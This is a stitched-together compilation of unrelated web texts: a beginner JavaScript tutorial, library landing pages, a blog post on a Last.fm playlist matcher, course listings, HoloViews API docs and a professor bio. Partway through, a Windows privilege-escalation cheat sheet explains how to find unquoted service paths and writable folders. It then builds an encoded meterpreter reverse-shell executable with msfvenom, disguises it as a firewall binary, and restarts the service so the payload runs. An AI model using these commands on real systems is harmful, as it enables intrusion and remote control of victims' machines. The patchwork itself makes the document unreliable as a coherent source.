var lotteryNumbers = [33, 72, 64, 18, 17, 85];
var myFavoriteThings = ['Broccoli', 1024, 'Sherlock'];
The length property tells you how many things are in an array
var rainbowColors = ['Red', 'Orange', 'Yellow', 'Green',
'Blue', 'Indigo', 'Violet'];
console.log(rainbowColors.length);
You can access items with "bracket notation" by using the position of the object you want. Programmers start counting at zero.
var rainbowColors = ['Red', 'Orange', 'Yellow', 'Green', 'Blue', 'Indigo', 'Violet'];
var firstColor = rainbowColors[0];
var lastColor = rainbowColors[6];
You can use bracket notation to change an item in an array
var myFavoriteThings = ['Broccoli', 1024, 'Sherlock'];
myFavoriteThings[0] = 'Asparagus';
Arrays do not have a fixed length. You can use "push" to add something to an array.
var myFavoriteThings = ['Broccoli', 1024, 'Sherlock'];
myFavoriteThings.push('Dancing');
Create an array of your favorite foods. Echo a few values onto your screen.
Use a for loop to easily process each item in an array.
var rainbowColors = ['Red', 'Orange', 'Yellow', 'Green', 'Blue', 'Indigo', 'Violet'];
for (var i = 0; i < rainbowColors.length; i++) {
console.log(rainbowColors[i]);
}
Use a loop to make a list of all your favorite foods.
Objects let us store a collection of properties.
var objectName = {
propertyName: propertyValue,
propertyName: propertyValue,
...
};
var aboutMe = {
hometown: 'Corry, PA',
hair: 'Blond',
likes: ['coding', 'knitting', 'chocolate'],
birthday: {month: 3, day: 27}
};
Let's work together to create some code that describes the properties of some safari animals.
You can retrieve values using "dot notation"
var aboutMe = {
hometown: 'Corry, PA',
hair: 'Blond'
};
var myHometown = aboutMe.hometown;
Or using "bracket notation" (like arrays)
var myHair = aboutMe['hair'];
You can use dot or bracket notation to change properties
var aboutMe = {
hometown: 'Corry, PA',
hair: 'Blond'
};
aboutMe.hair = 'pink';
Add new properties
aboutMe.eyes = 'blue';
Or delete them
delete aboutMe.eyes;
Since arrays can hold any data type, they can also hold objects
var myCats = [
{name: 'Mabel',
age: '6'},
{name: 'Ollie',
age: '2'}
];
for (var i = 0; i < myCats.length; i++) {
var myCat = myCats[i];
console.log(myCat.name + ' is ' + myCat.age + ' years old.');
}
Just like other data types, objects can be passed into functions:
var mabelTheCat = {
age: 6,
furColor: 'grey',
likes: ['catnip', 'naps', 'snacks'],
birthday: {month: 11, day: 25, year: 2009}
}
function describeCat(cat) {
console.log('This cat is ' + cat.age + ' years old with ' + cat.furColor + ' fur.');
}
describeCat(mabelTheCat);
Create an object to hold information on your favorite recipe. It should have properties for recipeTitle
(a string), servings
(a number), and ingredients
(an array of strings).
Try displaying some information about your recipe.
Bonus: Create a loop to list all the ingredients.
Objects can also hold functions.
var mabelTheCat = {
age: 6,
furColor: 'grey',
meow: function() {
console.log('meowww');
},
eat: function(food) {
console.log('Yum, I love ' + food);
},
};
Call object methods using dot notation:
mabelTheCat.meow();
mabelTheCat.eat('brown mushy stuff');
Let's work together to add some methods to our code that describes the safari animals.
JS provides several built-in objects:


Search for services with unqouted paths
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
If we have some output let's inspect service path permissions
icacls <folder in which we can place our file. File has same name as word in front of the space in the file path>
example path:
C:\Program Files\Some Folder\Service.exe
we need
icacls C:\ (we can place file Program.exe)
icacls C:\Program Files\ (we can place file Some.exe)
If folder has M or W or F permission then we can place our file into the path.
Sample payload
msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=<IP_ADDRESS> LPORT=443 -f exe -o Privatefirewall.exe
Restarting service
sc stop <service>
sc start <service>
List all service paths to file for manual inspection
sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt


A React data components library for building Airbnb like search experience.
Get StartedComponents for everything.
Build data driven lists, dropdowns, sliders, buttons, searchboxes, calendars, feeds and maps.
Chain components reactively.
A declarative syntax for reactively chaining components. Optionally, subscribe to data updates in realtime.
Works with your CSS tooling.
Introduces minimum styling, each component adheres to a simple and consistent CSS API. Comes with light and dark themes.
An airbnb style hotel booking experience.
It uses SingleList, MultiList and ReactiveMap components.
Check Demo View Code on GithubAn amazon like e-commerce app.
It uses SingleList, MultiList and ReactiveMap components.
Check Demo View Code on GithubA hacker news style news aggregator app built with Reactive Search.
It uses SingleList, MultiList and ReactiveMap components.
Check Demo View Code on GithubA meetup style events app.
It uses SingleList, MultiList and ReactiveMap components.
Check Demo View Code on GithubA Product Hunt style search feed app.
It uses SingleList, MultiList and ReactiveMap components.
Check Demo View Code on GithubA Yelp style location search app.
It uses SingleList, MultiList and ReactiveMap components.
Check Demo View Code on Github


I was at a gig (Pure Reason Revolution's last ever show) with a friend --- an iTunes user --- who mentioned in passing that it would be pretty cool to have a playlist of all her last.fm loved tracks. I didn't think about this much until a month or two later, during my January exam season. As any student will be aware, anything is more fun than revising when you should be revising. The idea to actually implement the system came to me when I was playing around with the Spotify API.
The first released version was an incredibly slow, hacky PHP solution, but it worked. I stopped working on any side-projects for the remainder of the academic year due to work requirements of my dissertation, and decided to completely rewrite it when I finished. HTML5 was the obvious choice, since it was something I hadn't worked with before. The Source is of course available.
When a library file is dragged onto the dropover this is processed with the Javascript DOM parser to extract each individual track. Each track is then converted to an object, consisting of trackName, artistName, fileLocation.
When the form is then submitted, a LastFM API call is made to extract the relevant target tracks. Each track is again written to an object; trackName, artistName. If also getting top tracks, we loop through the object array to remove any duplicates (top tracks which are also loved).
Each target track and library track is then tokenized - the artist and track names are split into an array of individual whitespace delimited lower-case terms.
For each target track we loop through the entire library array. Each track in the library then has a score relative to the target computed. The score is (1.5*number of matching track tokens)+(number of matching artist tokens). Track tokens are generally more unique, so these score higher. Mathematically this is 1.5*(the cardinality of the intersection of the two track name sets) plus the cardinality of the intersection of the two artist name sets.
The score is tested after each track, and the highest scoring track is recorded. This score is compared against a variable threshold, if it's too low the track fails to match and is dropped. The score-based term-matching algorithm is designed to cope with Last.fm's autocorrect feature, which handles typos in local id3 tags.
A [[target,track]] array of objects is generated and passed to the return page in JSON. PHP generates the .m3u by writing each track location to file. If the computer is a mac, 'file://localhost/' is removed.
This can be described as an 'exhaustive weighted unigram matching algorithm'.
Exhaustive - Every target-track pair is computed. This is worst case O(n^2)
Weighted - The score is computed with different weights - track name token matches are worth more than artist token matches.
Unigram - Only single terms (rather than combinations) are considered (bag of words).
The playlists are named with a unique hash; you'll probably want to rename this. Generally, your playlist will be named the same as the file.
Playlists in iTunes can be added through file->Add file to Library
Since we're only dealing with local files and Spotify doesn't seem to support importing playlists (looks like that's my next app project) this is a bit tricker. The best solution, unfortunately, seems to be to first import the playlist into itunes as above, then get this into Spotify with file->import Playlists->iTunes. You will then need to delete the rest of your imported itunes playlists. Alternatively, you can import into iTunes and then use one of many web-based iTunes->Spotify playlist converters. I can't vouch for their effectiveness, however.


---
layout: default
title: Home
---
CS 675: Distributed Systems
Welcome to the graduate course on Distributed Systems. This
course introduces you to an exciting range of materials in this broad
and hugely important field, including the fundamentals of distributed
systems, massive-scale cloud storage, big data foundation, serverless
computing, systems support of distributed machine (deep) learning,
and a wide range of other important techniques and case studies about
this fascinating area of study.
{% include news.html %}


--- title: 404 permalink: /404.html ---
This is not the web page you are looking for.
Please go to PaddlePaddle or contact us:paddle-dev@baidu.com


STYLE
Routes & Status
Route
Method
Request
Response
Data
ROUTES
GET
/routes
200
Link
USER
GET
/user
200
Link
GET
/user/:uid
200
Link
POST
/user
200
Link
PUT
/user/:uid
200
Link
DELETE
/user/:uid
200
Link
BARBER SHOP
GET
/barbershop
200
Link
POST
/barbershop/:bsid
200
Link


holoviews.util Package ¶
util
Package
¶
-
class
holoviews.util.
Dynamic
( **params ) [source] ¶ -
Bases:
param.parameterized.ParameterizedFunction
Dynamically applies a callable to the Elements in any HoloViews object. Will return a DynamicMap wrapping the original map object, which will lazily evaluate when a key is requested. By default Dynamic applies a no-op, making it useful for converting HoloMaps to a DynamicMap.
Any supplied kwargs will be passed to the callable and any streams will be instantiated on the returned DynamicMap.
-
param Boolean
shared_data
( allow_None=False, bounds=(0, 1), constant=False, default=False, instantiate=False, pickle_default_value=True, precedence=None, readonly=False ) - Whether the cloned DynamicMap will share the same cache.
-
param Boolean
link_inputs
( allow_None=False, bounds=(0, 1), constant=False, default=True, instantiate=False, pickle_default_value=True, precedence=None, readonly=False ) - If Dynamic is applied to another DynamicMap, determines whether linked streams attached to its Callable inputs are transferred to the output of the utility. For example if the Dynamic utility is applied to a DynamicMap with an RangeXY, this switch determines whether the corresponding visualization should update this stream with range changes originating from the newly generated axes.
-
param List
streams
( allow_None=False, bounds=(0, None), constant=False, default=[], instantiate=True, pickle_default_value=True, precedence=None, readonly=False ) - List of streams to attach to the returned DynamicMap
-
param Dict
kwargs
( allow_None=False, constant=False, default={}, instantiate=True, is_instance=True, pickle_default_value=True, precedence=None, readonly=False ) - Keyword arguments passed to the function.
-
param Callable
operation
( allow_None=False, constant=False, instantiate=False, pickle_default_value=True, precedence=None, readonly=False ) - Operation or user-defined callable to apply dynamically
-
debug
( msg , *args , **kw ) ¶ -
Print msg merged with args as a debugging statement.
See Python’s logging module for details of message formatting.
-
defaults
( ) ¶ -
Return {parameter_name:parameter.default} for all non-constant Parameters.
Note that a Parameter for which instantiate==True has its default instantiated.
-
force_new_dynamic_value
= <functools.partial object> ¶
-
get_param_values
( onlychanged=False ) ¶ -
Return a list of name,value pairs for all Parameters of this object.
If onlychanged is True, will only return values that are not equal to the default value.
-
get_value_generator
= <functools.partial object> ¶
-
inspect_value
= <functools.partial object> ¶
-
instance
= <functools.partial object> ¶
-
message
( msg , *args , **kw ) ¶ -
Print msg merged with args as a message.
See Python’s logging module for details of message formatting.
-
params
( parameter_name=None ) ¶ -
Return the Parameters of this class as the dictionary {name: parameter_object}
Includes Parameters from this class and its superclasses.
-
pprint
( imports=None , prefix='\n ' , unknown_value='<?>' , qualify=False , separator='' ) ¶ -
Same as Parameterized.pprint, except that X.classname(Y is replaced with X.classname.instance(Y
-
print_param_defaults
( ) ¶ -
Print the default values of all cls’s Parameters.
-
print_param_values
( ) ¶ -
Print the values of all this object’s Parameters.
-
script_repr
( imports=[] , prefix=' ' ) ¶ -
Same as Parameterized.script_repr, except that X.classname(Y is replaced with X.classname.instance(Y
-
set_default
( param_name , value ) ¶ -
Set the default value of param_name.
Equivalent to setting param_name on the class.
-
set_dynamic_time_fn
= <functools.partial object> ¶
-
set_param
= <functools.partial object> ¶
-
state_pop
( ) ¶ -
Restore the most recently saved state.
See state_push() for more details.
-
state_push
( ) ¶ -
Save this instance’s state.
For Parameterized instances, this includes the state of dynamically generated values.
Subclasses that maintain short-term state should additionally save and restore that state using state_push() and state_pop().
Generally, this method is used by operations that need to test something without permanently altering the objects’ state.
-
verbose
( msg , *args , **kw ) ¶ -
Print msg merged with args as a verbose message.
See Python’s logging module for details of message formatting.
-
warning
( msg , *args , **kw ) ¶ -
Print msg merged with args as a warning, unless module variable warnings_as_exceptions is True, then raise an Exception containing the arguments.
See Python’s logging module for details of message formatting.
-
param Boolean
-
holoviews.util.
examples
( path='holoviews-examples' , verbose=False , force=False , root='/Users/philippjfr/holoviews/holoviews/util/__init__.pyc' ) [source] ¶ -
Copies the notebooks to the supplied path.
-
class
holoviews.util.
extension
( **params ) [source] ¶ -
Bases:
param.parameterized.ParameterizedFunction
Helper utility used to load holoviews extensions. These can be plotting extensions, element extensions or anything else that can be registered to work with HoloViews.
-
debug
( msg , *args , **kw ) ¶ -
Print msg merged with args as a debugging statement.
See Python’s logging module for details of message formatting.
-
defaults
( ) ¶ -
Return {parameter_name:parameter.default} for all non-constant Parameters.
Note that a Parameter for which instantiate==True has its default instantiated.
-
force_new_dynamic_value
= <functools.partial object> ¶
-
get_param_values
( onlychanged=False ) ¶ -
Return a list of name,value pairs for all Parameters of this object.
If onlychanged is True, will only return values that are not equal to the default value.
-
get_value_generator
= <functools.partial object> ¶
-
inspect_value
= <functools.partial object> ¶
-
instance
= <functools.partial object> ¶
-
message
( msg , *args , **kw ) ¶ -
Print msg merged with args as a message.
See Python’s logging module for details of message formatting.
-
params
( parameter_name=None ) ¶ -
Return the Parameters of this class as the dictionary {name: parameter_object}
Includes Parameters from this class and its superclasses.
-
pprint
( imports=None , prefix='\n ' , unknown_value='<?>' , qualify=False , separator='' ) ¶ -
Same as Parameterized.pprint, except that X.classname(Y is replaced with X.classname.instance(Y
-
print_param_defaults
( ) ¶ -
Print the default values of all cls’s Parameters.
-
print_param_values
( ) ¶ -
Print the values of all this object’s Parameters.
-
script_repr
( imports=[] , prefix=' ' ) ¶ -
Same as Parameterized.script_repr, except that X.classname(Y is replaced with X.classname.instance(Y
-
set_default
( param_name , value ) ¶ -
Set the default value of param_name.
Equivalent to setting param_name on the class.
-
set_dynamic_time_fn
= <functools.partial object> ¶
-
set_param
= <functools.partial object> ¶
-
state_pop
( ) ¶ -
Restore the most recently saved state.
See state_push() for more details.
-
state_push
( ) ¶ -
Save this instance’s state.
For Parameterized instances, this includes the state of dynamically generated values.
Subclasses that maintain short-term state should additionally save and restore that state using state_push() and state_pop().
Generally, this method is used by operations that need to test something without permanently altering the objects’ state.
-
verbose
( msg , *args , **kw ) ¶ -
Print msg merged with args as a verbose message.
See Python’s logging module for details of message formatting.
-
warning
( msg , *args , **kw ) ¶ -
Print msg merged with args as a warning, unless module variable warnings_as_exceptions is True, then raise an Exception containing the arguments.
See Python’s logging module for details of message formatting.
-
-
class
holoviews.util.
opts
( **params ) [source] ¶ -
Bases:
param.parameterized.ParameterizedFunction
Utility function to set options either at the global level or on a specific object.
To set opts globally use:
opts(options)
Where options may be an options specification string (as accepted by the %opts magic) or an options specifications dictionary.
For instance:
opts(“Curve (color=’k’)”) # Or equivalently opts({‘Curve’: {‘style’: {‘color’:’k’}}})
To set opts on a specific object, just supply it as the second argument:
opts(options, obj)
For instance:
curve = hv.Curve([1,2,3]) opts(“Curve (color=’k’)”, curve) # Or equivalently opts({‘Curve’: {‘style’: {‘color’:’k’}}}, curve)
These two modes are equivalent to the %opts line magic and the %%opts cell magic respectively.
-
param Boolean
strict
( allow_None=False, bounds=(0, 1), constant=False, default=False, instantiate=False, pickle_default_value=True, precedence=None, readonly=False ) - Whether to be strict about the options specification. If not set to strict (default), any invalid keywords are simply skipped. If strict, invalid keywords prevent the options being applied.
-
debug
( msg , *args , **kw ) ¶ -
Print msg merged with args as a debugging statement.
See Python’s logging module for details of message formatting.
-
defaults
( ) ¶ -
Return {parameter_name:parameter.default} for all non-constant Parameters.
Note that a Parameter for which instantiate==True has its default instantiated.
-
force_new_dynamic_value
= <functools.partial object> ¶
-
get_param_values
( onlychanged=False ) ¶ -
Return a list of name,value pairs for all Parameters of this object.
If onlychanged is True, will only return values that are not equal to the default value.
-
get_value_generator
= <functools.partial object> ¶
-
inspect_value
= <functools.partial object> ¶
-
instance
= <functools.partial object> ¶
-
message
( msg , *args , **kw ) ¶ -
Print msg merged with args as a message.
See Python’s logging module for details of message formatting.
-
params
( parameter_name=None ) ¶ -
Return the Parameters of this class as the dictionary {name: parameter_object}
Includes Parameters from this class and its superclasses.
-
pprint
( imports=None , prefix='\n ' , unknown_value='<?>' , qualify=False , separator='' ) ¶ -
Same as Parameterized.pprint, except that X.classname(Y is replaced with X.classname.instance(Y
-
print_param_defaults
( ) ¶ -
Print the default values of all cls’s Parameters.
-
print_param_values
( ) ¶ -
Print the values of all this object’s Parameters.
-
script_repr
( imports=[] , prefix=' ' ) ¶ -
Same as Parameterized.script_repr, except that X.classname(Y is replaced with X.classname.instance(Y
-
set_default
( param_name , value ) ¶ -
Set the default value of param_name.
Equivalent to setting param_name on the class.
-
set_dynamic_time_fn
= <functools.partial object> ¶
-
set_param
= <functools.partial object> ¶
-
state_pop
( ) ¶ -
Restore the most recently saved state.
See state_push() for more details.
-
state_push
( ) ¶ -
Save this instance’s state.
For Parameterized instances, this includes the state of dynamically generated values.
Subclasses that maintain short-term state should additionally save and restore that state using state_push() and state_pop().
Generally, this method is used by operations that need to test something without permanently altering the objects’ state.
-
verbose
( msg , *args , **kw ) ¶ -
Print msg merged with args as a verbose message.
See Python’s logging module for details of message formatting.
-
warning
( msg , *args , **kw ) ¶ -
Print msg merged with args as a warning, unless module variable warnings_as_exceptions is True, then raise an Exception containing the arguments.
See Python’s logging module for details of message formatting.
-
param Boolean
-
class
holoviews.util.
output
( **params ) [source] ¶ -
Bases:
param.parameterized.ParameterizedFunction
Helper used to set HoloViews display options. Arguments are supplied as a series of keywords in any order:
backend : The backend used by HoloViews fig : The static figure format holomap : The display type for holomaps widgets : The widget mode for widgets fps : The frames per second used for animations max_frames : The max number of frames rendered (default 500) size : The percentage size of displayed output dpi : The rendered dpi of the figure charwidth : The max character width for displaying helper (default 80) filename : The filename of the saved output, if any (default None) info : The information to page about the displayed objects (default False) css : Optional css style attributes to apply to the figure image tag
-
param Boolean
filename_warning
( allow_None=False, bounds=(0, 1), constant=False, default=True, instantiate=False, pickle_default_value=True, precedence=None, readonly=False ) - Whether to warn if the output utility is called on an object and a filename is not given (in which case the utility has no effect)
-
debug
( msg , *args , **kw ) ¶ -
Print msg merged with args as a debugging statement.
See Python’s logging module for details of message formatting.
-
defaults
( ) ¶ -
Return {parameter_name:parameter.default} for all non-constant Parameters.
Note that a Parameter for which instantiate==True has its default instantiated.
-
force_new_dynamic_value
= <functools.partial object> ¶
-
get_param_values
( onlychanged=False ) ¶ -
Return a list of name,value pairs for all Parameters of this object.
If onlychanged is True, will only return values that are not equal to the default value.
-
get_value_generator
= <functools.partial object> ¶
-
inspect_value
= <functools.partial object> ¶
-
instance
= <functools.partial object> ¶
-
message
( msg , *args , **kw ) ¶ -
Print msg merged with args as a message.
See Python’s logging module for details of message formatting.
-
params
( parameter_name=None ) ¶ -
Return the Parameters of this class as the dictionary {name: parameter_object}
Includes Parameters from this class and its superclasses.
-
pprint
( imports=None , prefix='\n ' , unknown_value='<?>' , qualify=False , separator='' ) ¶ -
Same as Parameterized.pprint, except that X.classname(Y is replaced with X.classname.instance(Y
-
print_param_defaults
( ) ¶ -
Print the default values of all cls’s Parameters.
-
print_param_values
( ) ¶ -
Print the values of all this object’s Parameters.
-
script_repr
( imports=[] , prefix=' ' ) ¶ -
Same as Parameterized.script_repr, except that X.classname(Y is replaced with X.classname.instance(Y
-
set_default
( param_name , value ) ¶ -
Set the default value of param_name.
Equivalent to setting param_name on the class.
-
set_dynamic_time_fn
= <functools.partial object> ¶
-
set_param
= <functools.partial object> ¶
-
state_pop
( ) ¶ -
Restore the most recently saved state.
See state_push() for more details.
-
state_push
( ) ¶ -
Save this instance’s state.
For Parameterized instances, this includes the state of dynamically generated values.
Subclasses that maintain short-term state should additionally save and restore that state using state_push() and state_pop().
Generally, this method is used by operations that need to test something without permanently altering the objects’ state.
-
verbose
( msg , *args , **kw ) ¶ -
Print msg merged with args as a verbose message.
See Python’s logging module for details of message formatting.
-
warning
( msg , *args , **kw ) ¶ -
Print msg merged with args as a warning, unless module variable warnings_as_exceptions is True, then raise an Exception containing the arguments.
See Python’s logging module for details of message formatting.
-
param Boolean
command
Module
¶
python -m holoviews.util.command Conversion_Example.ipynb OR holoviews Conversion_Example.ipynb
parser
Module
¶
The magics offered by the HoloViews IPython extension are powerful and support rich, compositional specifications. To avoid the the brittle, convoluted code that results from trying to support the syntax in pure Python, this file defines suitable parsers using pyparsing that are cleaner and easier to understand.
Pyparsing is required by matplotlib and will therefore be available if HoloViews is being used in conjunction with matplotlib.
-
class
holoviews.util.parser.
CompositorSpec
[source] ¶ -
Bases:
holoviews.util.parser.Parser
The syntax for defining a set of compositor is as follows:
[ mode op(spec) [settings] value ]+
The components are:
mode : Operation mode, either ‘data’ or ‘display’. group : Value identifier with capitalized initial letter. op : The name of the operation to apply. spec : Overlay specification of form (A * B) where A and B are
dotted path specifications.- settings : Optional list of keyword arguments to be used as
- parameters to the operation (in square brackets).
-
collect_tokens
( parseresult , mode ) ¶ -
Collect the tokens from a (potentially) nested parse result.
-
classmethod
parse
( line , ns={} ) [source] ¶ -
Parse compositor specifications, returning a list Compositors
-
todict
( parseresult , mode='parens' , ns={} ) ¶ -
Helper function to return dictionary given the parse results from a pyparsing.nestedExpr object (containing keywords).
The ns is a dynamic namespace (typically the IPython Notebook namespace) used to update the class-level namespace.
-
class
holoviews.util.parser.
OptsSpec
[source] ¶ -
Bases:
holoviews.util.parser.Parser
An OptsSpec is a string specification that describes an OptionTree. It is a list of tree path specifications (using dotted syntax) separated by keyword lists for any of the style, plotting or normalization options. These keyword lists are denoted ‘plot(..)’, ‘style(...)’ and ‘norm(...)’ respectively. These three groups may be specified even more concisely using keyword lists delimited by square brackets, parentheses and braces respectively. All these sets are optional and may be supplied in any order.
For instance, the following string:
Image (interpolation=None) plot(show_title=False) Curve style(color=’r’)
Would specify an OptionTree where Image has “interpolation=None” for style and ‘show_title=False’ for plot options. The Curve has a style set such that color=’r’.
The parser is fairly forgiving; commas between keywords are optional and additional spaces are often allowed. The only restriction is that keywords must be immediately followed by the ‘=’ sign (no space).
-
classmethod
apply_deprecations
( path ) [source] ¶ -
Convert any potentially deprecated paths and issue appropriate warnings
-
collect_tokens
( parseresult , mode ) ¶ -
Collect the tokens from a (potentially) nested parse result.
-
classmethod
parse
( line , ns={} ) [source] ¶ -
Parse an options specification, returning a dictionary with path keys and {‘plot’:<options>, ‘style’:<options>} values.
-
classmethod
process_normalization
( parse_group ) [source] ¶ -
Given a normalization parse group (i.e. the contents of the braces), validate the option list and compute the appropriate integer value for the normalization plotting option.
-
todict
( parseresult , mode='parens' , ns={} ) ¶ -
Helper function to return dictionary given the parse results from a pyparsing.nestedExpr object (containing keywords).
The ns is a dynamic namespace (typically the IPython Notebook namespace) used to update the class-level namespace.
-
classmethod
-
class
holoviews.util.parser.
Parser
[source] ¶ -
Bases:
object
Base class for magic line parsers, designed for forgiving parsing of keyword lists.
-
classmethod
collect_tokens
( parseresult , mode ) [source] ¶ -
Collect the tokens from a (potentially) nested parse result.
-
classmethod
todict
( parseresult , mode='parens' , ns={} ) [source] ¶ -
Helper function to return dictionary given the parse results from a pyparsing.nestedExpr object (containing keywords).
The ns is a dynamic namespace (typically the IPython Notebook namespace) used to update the class-level namespace.
-
classmethod
settings
Module
¶
-
class
holoviews.util.settings.
KeywordSettings
[source] ¶ -
Bases:
object
Base class for options settings used to specified collections of keyword options.
-
classmethod
extract_keywords
( line , items ) [source] ¶ -
Given the keyword string, parse a dictionary of options.
-
classmethod
-
class
holoviews.util.settings.
OutputSettings
[source] ¶ -
Bases:
holoviews.util.settings.KeywordSettings
Class for controlling display and output settings.
-
extract_keywords
( line , items ) ¶ -
Given the keyword string, parse a dictionary of options.
-
get_options
( items , options , warnfn ) ¶ -
Given a keyword specification, validate and compute options
-
-
holoviews.util.settings.
list_formats
( format_type , backend=None ) [source] ¶ -
Returns list of supported formats for a particular backend.


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Jonathan Walsh is Professor of French Studies at Wheaton College. He has taught French language, literature and culture at Wheaton since 1994. He grew up in Connecticut, completing his Bachelor’s at The University of Connecticut, Storrs, and his PhD at the University of California Santa Barbara, where was a graduate student and teaching assistant. As an undergraduate, he studied for a year in France, at the Université de Rouen.
Professor Walsh’s dissertation, published as a monograph in 2001, focused on the early eighteenth-century French author, Antoine-François Prévost. He has penned articles on Prévost, Montesquieu, Proust and Edward Said for scholarly journals, and his interview of Aminata Sow Fall, of Senegal, one of Africa’s most revered novelists, appeared in Women in French Studies. Most recently he published a volume of translations, with introduction, of two novels by Claudine-Alexandrine de Tencin: Memoirs of the Count of Comminges and The Misfortunes of Love, the latter being the first translation of the novel into English. The volume contains a forward by a prominent French scholar of Englightenment literature, Michel Delon.
Professory Walsh has always taught a unit on French phonetics in his intermediate French courses, having been inspired by a phonetics course he took in Rouen in the early eighties. As a graduate student, he produced the first computer-based tutorial on French phonetics, specifically, French phonemes and the Internation Phonetic symbols, entitled Entendu, in 1991. His current project involves making a web-based phonetics tutorial with the help of two computer science majors, Austin O’Malley and Nathan Morse.


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An appointment around the current issues" Because it is our responsibility to help resist the problems of society, the time has come to take concrete action to overcome the long-standing problems. It is enough to think differently about the solutions, out of the ordinary, in order to confront in an innovative and effective way the immense challenges of this world.
TED is an annual event that brings together the minds leading thinkers and doers to share ideas that matter in any discipline : Technology, Entertainment, Design, Science, Humanities, Business, Development,etc. The talks at the conference, called TED Talks, are then made available to watch for free on TED Website
In the spirit of "ideas worth spreading," TED has created TEDx a program of local and self-organized events that bring people together to share a TED-like experience. At a TEDx event, TED Talks videos and live speakers combine to spark deep discussions and connections. Our TEDx event is not organized by TED Conferences , but is operated under a license from TED.
Following the gathering of a group of talented young students from different universities in Tunis, the idea of TEDxUniversityofTunis is born in its first edition. We are members from different cultures who contribute to the society by practicing various associative activities. This allows us to be in a good position of responsibility and management for this impactful event.


Just In Time Math
Videos:
Practice Problems:
How To:
calculating price per unit
how to: calculating price per unit
Calculating elasticity of demand involves Division of Fractions, Ratios, Subtraction of Fractions, Rates, Percent, the Cartesian Coordinate Grid, and the Midpoint Formula… Here’s an example elasticity problem…
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--- layout: page title: "IndieAuth" description: "IndieAuth is an identity layer on top of OAuth 2.0, primarily used to obtain an OAuth 2.0 Bearer Token for use by Micropub clients. End-Users and Clients are all represented by URLs. IndieAuth enables Clients to verify the identity of an End-User, as well as to obtain an access token that can be used to access resources under the control of the End-User." ---
| Document Name: | W3C TR http://www.w3.org/TR/indieauth |
|---|---|
| Document URI: |
http://www.w3.org/TR/indieauth
|
| Online Version: |
http://www.w3.org/TR/indieauth
|
| Organization: | World Wide Web Consortium (W3C) |
| Series: | Technical Report (TR) |
| Abstract: | IndieAuth is an identity layer on top of OAuth 2.0, primarily used to obtain an OAuth 2.0 Bearer Token for use by Micropub clients. End-Users and Clients are all represented by URLs. IndieAuth enables Clients to verify the identity of an End-User, as well as to obtain an access token that can be used to access resources under the control of the End-User. |
authorization_endpoint
,
redirect_uri
,
token_endpoint
Return to ( Series | Organization | all Specifications )


Detailed course offerings (Time Schedule) are available for
HSTAFM 151 Introduction to Precolonial Africa (5) I&S, DIV
Explores the African past from c. 1400 through the end of the nineteenth century. Uses the emerging evidence of historical, linguistic, and archaeological analysis to think critically about lingering notions that Africa and its peoples are static and unchanging, primitive and simple, and best understood in terms of racial difference.
View course details in MyPlan: HSTAFM 151
HSTAFM 152 Introduction to African History, c. 1880 - Present (5) I&S, DIV
Examines Africa's pasts from approximately 1880 to the present. Through the theme of the politics of wealth, explores the history of European colonization, African social and cultural life under colonial rule, anti-colonial movements and decolonization, and the changes and challenges of the post-colonial present.
View course details in MyPlan: HSTAFM 152
HSTAFM 161 Survey of the Muslim Near East (5) I&S
The Middle East (the Arab countries, Israel, Turkey, Iran, and Afghanistan) from the emergence of Islam in AD 622 to the present: culture, economics, politics.
View course details in MyPlan: HSTAFM 161
HSTAFM 163 The Modern Middle East (5) I&S, DIV
Provides an introduction the politics, society, and culture of the Middle East since the 19th century and through the present. Aims to foster an understanding of imperial power and anti-imperialism, ethnicity and sectarianism, religious and secular sociopolitical movements, authoritarianism, and the transformations wrought by modernity and economic development.
View course details in MyPlan: HSTAFM 163
HSTAFM 261 The Crusades: Middle Eastern Perspectives (5) I&S
Examines the impact of European Christians on the Middle East, from the establishment of the County of Edessa (1097) to the fall of Accon (1291). Explores how Muslims understood, reacted, and adapted to the crusades and how the close encounter with the "Franks" transformed medieval Middle Eastern societies.
View course details in MyPlan: HSTAFM 261
HSTAFM 268 Wars in the Modern Middle East (5) I&S
Examines the political, social, and cultural impact of war on Middle Eastern societies. Focuses on how the preparation for, conduct of, and aftermath of wars have affected the region. Examines the 1948 Arab-Israeli War, the Algerian War of Independence, the Lebanese Civil War, and the First Gulf War (1991).
View course details in MyPlan: HSTAFM 268
HSTAFM 361 Middle Eastern History, 1453-1800 (5) I&S Schwarz
Introduction to the early modern period in the Middle East, including an exploration of the political, economic, and cultural dominance of the Ottoman Empire and Safavid Iran. Explores the political and social dynamics and economic transformations of the two empires.
View course details in MyPlan: HSTAFM 361
HSTAFM 451 Eastern and Central Africa Since 1500 (5) I&S
Explores the history of Eastern and Central Africa from the period prior to the slave trade through European colonialism to the post-colonial present. Focuses on political, economic, and social change and continuity. Emphasis on understanding how various historical actors and historians have interpreted these processes.
View course details in MyPlan: HSTAFM 451
HSTAFM 452 Southern Africa Since 1500 (5) I&S, DIV
Explores the history of Southern Africa from pre-colonial social institutions through European colonialism and industrialization to the post-apartheid present. Focuses on the interplay between race, class, ethnicity, and gender in the structuring of political relations. Emphasis on understanding how various historical actors and historians have interpreted these processes.
View course details in MyPlan: HSTAFM 452
HSTAFM 453 Health and Illness in Africa (5) I&S
Explores health and illness in Africa from the nineteenth century to the present. Focuses on the influence of colonial and post colonial history on patterns of health and health care in sub-Saharan Africa. Analyzes Western representations of health and illness in Africa.
View course details in MyPlan: HSTAFM 453
HSTAFM 461 History of the Middle East: 622-1300 (5) I&S
Political and economic analysis of the period circa AD 600, preliminary to rise of Islam, to arrival of the Turks. Muhammad's teaching and impact; Islamization and Arabization.
View course details in MyPlan: HSTAFM 461
HSTAFM 462 History of the Middle East: 1258-1798 (5) I&S
Conquests by successors of Ghengis Khan; creation in Egypt, Syria, and Iran of cavalry-based states; domination of political, social, and economic history by Ottoman and Safavid empires. The Napoleonic invasion.
View course details in MyPlan: HSTAFM 462
HSTAFM 463 History of the Middle East Since 1789 (5) I&S
Critical issues and themes in the changing Middle East, including Westernization, growth of nationalism, Arab-Israeli dispute, Iranian revolution, and the role of Islam.
View course details in MyPlan: HSTAFM 463
HSTAFM 465 Iran, Afghanistan and Central Asia, 1750-2001 (5) I&S
